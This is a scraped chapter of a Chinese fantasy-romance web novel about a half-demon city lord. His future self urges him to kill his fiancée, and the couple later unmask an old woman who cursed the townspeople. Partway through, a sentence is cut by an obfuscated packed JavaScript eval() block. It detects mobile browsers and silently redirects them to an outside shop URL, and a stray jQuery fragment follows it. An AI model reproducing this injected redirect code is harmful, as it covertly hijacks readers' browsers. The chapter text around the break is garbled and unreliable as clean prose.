文趣网 > 都市小说 > 城主大人,理理我嘛 > 51. 第五十一章 你从来值得被爱
    魔狱王和他一样,同样面无表情,“我是千年后的你。”

    楚逸从容打量着这个自称千年后的自己,“哦,我为什么要相信你,凭你这张和我一摸一样的脸,易容术很容易。”

    “你要是不信就不会叫我出来了。”魔狱王不无嘲讽看着从容淡定的楚逸,“我们身上的气味是一样的。”

    楚逸看着眼前的未来的自己,“你的目的是要我杀了超然,你告诉我,她怎么得罪未来的我,要我,准确的说未来的我这么恨她,以至于杀之而后快。”

    “她骗我。”魔狱王苦笑的说,自从遇到超然后,他的心就被牵着走,可人的心就只要一颗,可他是半妖,只有半颗心,怎么经得起超然这样作来作去的哄骗,“你知道吗,那夜她见到我的,一开口叫得居然是学长,呵呵,后来我才知道学长是个人,是个喜欢的人,而我们的眼睛跟他的相似,最无意的话最真实的。超然,她会害了你,所以,你必须杀了她。”

    楚逸眼神复杂,“那你怎么不去杀未来的她,她是个人族,再怎么样的你的法力远远高于她,杀她对你而言轻而易举。”

    魔狱王神情有些哀伤,“我下不去手。”

    “所以,你就找到我,希望我把现在的她杀死,改变未来的你,可是,未来的我呀,你怎么知道我和超然到最后一定是反目成仇。就算她满嘴谎话,现在不是真心,总有一天她会真心待我。我相信我的未来不是你这样的,你身上有魔气,相比你已经没有心了。”

    被说中的魔狱王丝毫没有慌张,“是又如何,我现在是大魔头,鬼头蜘是我放进来的,狸狐一族是我屠戮,藤蔓妖是我指点的,城里现在的人也是我弄的,就是为了让你名正言顺的除掉她,超然,她根本没有感情可言,她从头到尾都是在利用你。”

    “不是,你只是想成全你自己,你或许是我,但不是我,你从头到尾只想成全你自己,半妖的宿命是杀了心爱的人才能成为真正的大妖,之前你觉得自己被超然欺骗了,婚后你后悔了,婚后平凡一地鸡毛不是你想要的,你想着重新来过,你要追求强大力量,未来的她,你杀不了她,不是不忍,而是你即便做了,也成了不了大妖,因为你已经爱上过她,就像现在的我一样,如痴如醉迷恋她,”楚逸洞悉人心,一语戳穿。

    “那又如何,你看看哪些人不后悔,成婚前恩恩爱爱,成婚后相看两相厌,岳子愁就是最好的例子,你成不了大妖,就会成为我。选择她未来的我就是你的例子,你选择成为大妖,只有这样才能被世间认可。”未来的楚逸,魔狱王徐徐诱惑。

    这就是未来的自己,楚逸看着这个对贪心的自己,楚逸自认为不是圣人,做好分内就好了,至于他说的超然不爱他,他不信,超然说的也许不是真话,但她的眼睛是骗不了,她吻自己时候的情感是全身投入,她的伤心奔溃无助也真是的,自己从来没有完全相信过她,但也没否认她的喜欢,自己只有半颗心,怎么可能全身心的去喜欢呢,“魔狱王,我不会是你,就算我和超然未来很糟糕,既然是我选择,落子无悔。”

    魔狱王紧急地看着楚逸,“好,记住你今天的话,即使半妖的宿命到来希望你也能承受得住,我相信,我的未来就是你,这个世上谁也抵抗不了宿命的安排,何况我们是半妖呢。”说完大笑着腾空飞出烟雾原地消失。

    楚逸听着魔狱王的话,未来的自己,动摇?没有,如果超然喜欢是别人那杀了便是,何必儿女情长纠缠不清。

    楚逸相信自己的手段,任何事物他都能把控得住,包括令人甜蜜痛苦的男女之情。

    楚逸跟没什么事情发生过一样,照常跟超然相处,有时候会亲吻她,摸摸她的脑袋,超然虽然感动却也心不在焉。

    半个月时间,她几次提出要和楚逸同房而睡,楚逸欣然答应,第二天,超然骂骂咧咧从楚逸房里出来,楚逸这个王八蛋坚持婚前不同寝原则,她打了一晚上地铺,任凭她故意做出各做性感勾引得动作,楚逸就是个瞎子,居然视若无睹,自个撩骚撩了一晚上,姿势不知道换了个多少个。楚逸在床上呼呼大睡。

    超然内心狂吼,“你还是不是个男人。”

    其实每次超然再他面前撩骚摆出各种勾人的姿势,他赶紧闷头大睡,鼻血直流,不停念着清心咒,依旧是燥火难捱,这些日子他天天顶着黑眼圈出门。

    府里的仆人们看到了城主夫人每天从城主房间出来,跟腰断似扶着,而城主顶着熊猫眼,肯定是昨夜没睡好,太兴奋了。

    八卦又在城内传开了,白玉娇听到后,对着超然又增添了一笔新仇。现在的白玉娇就跟团火一样,灵儿都不敢接近了,能躲就躲。

    既然这样都不行,超然拉着楚逸跟踪岳婆婆,早日找到幕后凶手,赶紧成亲回家,楚逸道:“不用那么着急”

    又一则和城主大人夫人八卦差不多相等分量的新闻炸开锅了,一个七八岁的女童忽然恢复了脸,女童爹娘欢喜赶紧问她用了什么办法,女童自己也不知道,实诚摇了摇头,睡一觉的功夫,脸就回来了。

    其他人仿佛看到了重新找回脸的希望,纷纷踏足女童家询问恢复得方法,女童都快给问哭了。

    因为她真的什么不知道,脸突然消失,她很伤心,突然又有了,她是开心,但这一切是怎么回事,她怎么知道呢。

    有心细的人发现这个女童不就是昨天可怜那个岳疯子的吗?

    难道说只要在对着岳疯子说几句好话就可以了,大家越分析越觉得这方法对,岳子愁一个人怨天怨地,因为是太需要人关注她了,于是大家目标统一冲向岳家,吉祥好话对着岳婆婆说了一车,岳家门槛都被踏破了。

    换来了岳婆婆咒骂了,大家都奇怪了,怎么女童随口一句就可以,他们吉祥话好话说了一堆,人家岳疯子不领情,果然是疯子。

    岳婆婆狞笑,“又不是我弄的,我怎么知道,说不定是你们作孽太多了。”

    “你”有冲动指着岳婆婆的鼻子想要骂人,被人阻拦下来,“要真是她,你这骂下去,脸何时才能回来。”

    大家捏着鼻子违心对这岳婆婆说一堆好话,自己都觉得恶心,岳婆婆听得更恶心,这些人隔三差五跑她家来,岳婆婆直接消失了。

    岳婆婆是直接跑路了,可是忽然间幸运神眷顾的女童可就没有那么幸运了,同伴们羡慕嫉妒,旁敲侧击,她也实在想帮助玩伴们都有脸,可她真是不知道啊。

    同伴笑嘻嘻说道:“你怎么可能不知道呢,我娘都说就你一人有了,你一定知道。快告诉我们吧。”

    另一女童催促道,“我们可是你最好的朋友,告诉我们吧,我们保证不会说给别人听”

    女童很无耐,小眉头拧得快成疙瘩了,“我真的不知道怎么回事,一觉醒过来就这样了。我真的”

    这话这些表现落在同伴眼里,就是女童不愿意讲,炫耀她有脸他们没有,“既然这样,你一个人玩了,没你这样的。”大家纷纷不在理会女童,连平日里最好的朋友都下死眼刀她。

    女童不知道怎么回事,这脸还不如不要,跟大家一样没脸才好呢,拔出发簪往自己脸上戳,超然和灵儿路过看见了,赶紧阻拦,女童推开她们跑了。

    其他人纷纷吐舌头说她虚伪,小骗子。

    超然和灵儿如是想,“小孩子也这样?”

    超然把这家事情告诉了楚逸,摩挲着下巴,看来是这个岳婆婆无疑了,你跟我去守株待兔。

    楚逸道,“不用那么着急,她是可疑,我们不用逼那么紧。”

    超然心道不快点破案行吗,楚逸这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703030|204639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个家伙总是要按照规则行动,都那样婚前婚后有什么关系,偏偏他固执,超然泄气似放弃,她可不想天天夜里跑他屋子里睡地板。

    所有线索都指向岳子愁岳婆婆,超然自然是不愿意再等待了,拽着不慎情愿的楚逸在跑道破墓地旁守着。

    夜风呼啦啦略过,树上的枝叶沙沙作响,乌鸦震翅而飞,跟恐怖电影里野外场景一样,真是渗人,超然头皮发麻硬着守着,回头看楚逸,一副淡然自然,事不关己的死人样,他好像什么时候表情都没有变化。

    突然眼前略过一黑乎乎东西,吓得超然一把抱住楚逸,大声喊道:“楚逸,你千万别怕,有我在。”

    抱着瑟瑟发抖超然的楚逸“…”到底谁在害怕。

    超然爬在岩石后面看着前面的墓地,阴森森的,怪可怕的,“楚逸,你千万跟紧我,你不要怕。”

    楚逸,“…”我看是你怕,看你抖的,他背靠岩石,“超然,你真的想跟我一生一世,在一起,我可听说成婚后,人感情都变了。”

    超然盯梢,岳婆婆最近行踪不定,听她儿媳妇的话,她常常到墓地来,“婚后感情自然变,”她转头看楚逸,挑眉,“你该不会是不想给我结婚吧?”

    楚逸不想说未来自己的事情,便说道,“你看岳婆婆这样子,好像过的很不如意。”

    “诅咒我?楚逸。”超然瞪他,眼睛大大的圆圆的。楚逸今天有病吧。

    “我想着做下婚后准备,要事以后出现各种情况,好应对。”

    超然半信半疑继续趴岩石上看着墓地,“结婚我不知道,我又没结过,大多数一般婚后感情是要变的。”

    楚逸心提起来,看着超然。

    “从单纯的爱情变成亲情,当然,像岳婆婆这种,估计是没变成,应该说从头到尾都没有爱,他夫君娶她就是为了完成任务,世间感情是很少的,多的是像岳婆婆这样,大家结婚都是凑合着过日子。只是岳婆婆比较偏激。”超然想起自己父母的相处方式,真的好像两个毫不相关的人,唯一共同点就是严厉要求自己,这样的伴侣有跟没有差不多,“总说世上总有爱情,我小时候也羡慕童话里的公主能得到王子和骑士的爱,长大后发现,”耸了耸肩,扭头看着楚逸对视上他的幽深的眼睛,“世上那有那么多公主和王子幸福生活在城堡里,说了你也听不懂。”

    楚逸侧身支着脸凝视着超然,“我是不懂,我知道你想成为公主。”

    “错,”超然伸出一根手指摇了摇,“我要当女王,嘿,”她转过头看向墓地方向,岳婆婆披头散发走了过来了,在一座墓碑前停留下来,“等到了。别出声。”

    岳婆婆指着墓碑破口大骂,无外乎是夫君薄情寡义,婚后对她不好之类云云,超然不用想也知道了。

    “看到了,我也有力量了,你后悔了吧,这么对我,你知道你把我丢进柴房时候我有多害怕,我怕见不到你和孩子。”

    “在你们岳家,我从头到尾就是个外人,你怎么忍心呢,我给你生了个儿子,差点儿没命,你怎么能这样对我,你这个薄情短命鬼,我就是要膈应你,你难受吧,现在的你早成枯骨了,等着我来骂,我骂你也得看心情,我这辈子就这样,婆婆总叫我等,等我熬成婆,可我儿子长大了,他眼里哪有我这个娘,我的儿媳妇怎么那么矜贵,我骂不得,说不得,你这个死鬼看看…”

    超然:“…”

    楚逸:“她没骂错。”

    超然长吁出一口气,靠在楚逸的肩膀上,不知道脑子在想什么。

    “难道我生来就下贱,不配有人爱…”岳婆婆越骂越大声,“对,我诅咒他们,诅咒他们没有脸,是”

    “岳婆婆,果然是你。”超然身手利索从岩石后面跳出来,随之还有楚逸,站在超然身后稳稳。